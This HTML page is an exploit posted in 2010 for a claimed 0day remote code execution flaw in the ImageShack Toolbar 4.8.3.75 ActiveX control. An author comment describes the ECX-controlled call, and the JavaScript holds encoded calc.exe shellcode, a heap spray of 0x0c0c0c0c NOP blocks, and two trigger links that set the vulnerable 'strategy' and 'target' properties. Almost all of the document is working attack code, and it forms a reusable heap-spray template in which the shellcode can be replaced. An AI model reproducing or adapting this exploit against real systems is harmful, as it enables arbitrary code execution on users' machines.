<!--
Title: ImageShack Toolbar 4.8.3.75 Remote Code Execution Exploit Date: Nov 23, 2010 Author: Rew Email: rew [splat] leethax.info Link: http://toolbar.imageshack.us/ImageShackToolbar.exe Version: 4.8.3.75 Tested on: WinXP - IE 6 & 7 CVE: NA (0day)
Note: This object is NOT marked safe for scripting so the impact of this issue is small. You'll have to change your ActiveX settings to let it to run. None-the-less, it's an interesting crash so meh. Check it out...
There are actually two vulnerable variable (see bottom of page). Each should be set to some integer. This integer is then stored (in hex) directly in ECX. Then we see...
--- %PROGRAMFILES%\ImageShackToolbar\ImageShackToolbar.dll --- 05501386: 8B 01 MOV EAX,DWORD PTR DS:[ECX] 05501388: 6A 01 PUSH 1 0550138A: FF 10 CALL DWORD PTR DS:[EAX]
All we have to do is spray the heap and then put something usefull in ECX. pwnt.
Oh yes, and greetz to my bros in irc.rizon.net#beer :3
PS: Any information security firms looking for a knowledgeable, motivated intern? I sure would love to talk to you.
-->
<object classid='clsid:DC922B67-FF61-455E-9D79-959925B6695C' id='target' /></object>
<script>
// calc.exe var shellcode = unescape( '%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+ '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+ '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+ '%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+ '%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+ '%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+ '%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+ '%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e' );
var nops = unescape('%u0c0c%u0c0c');
var headersize = 20; var slackspace = headersize + shellcode.length;
while(nops.length < slackspace) { nops += nops; }
var fillblock = nops.substring(0, slackspace); var block = nops.substring(0, nops.length - slackspace);
while((block.length + slackspace) < 0x50000) { block = block + block + fillblock; }
memory=new Array(); for(counter=0; counter<200; counter++){ memory[counter] = block + shellcode; }
var arg1=202116108; // 0x0c0c0c0c in decimal
</script>
<a href="javascript:document.getElementById('target').strategy = arg1;">Sploit #1</a><br> <a href="javascript:document.getElementById('target').target = arg1;">Sploit #2</a>
|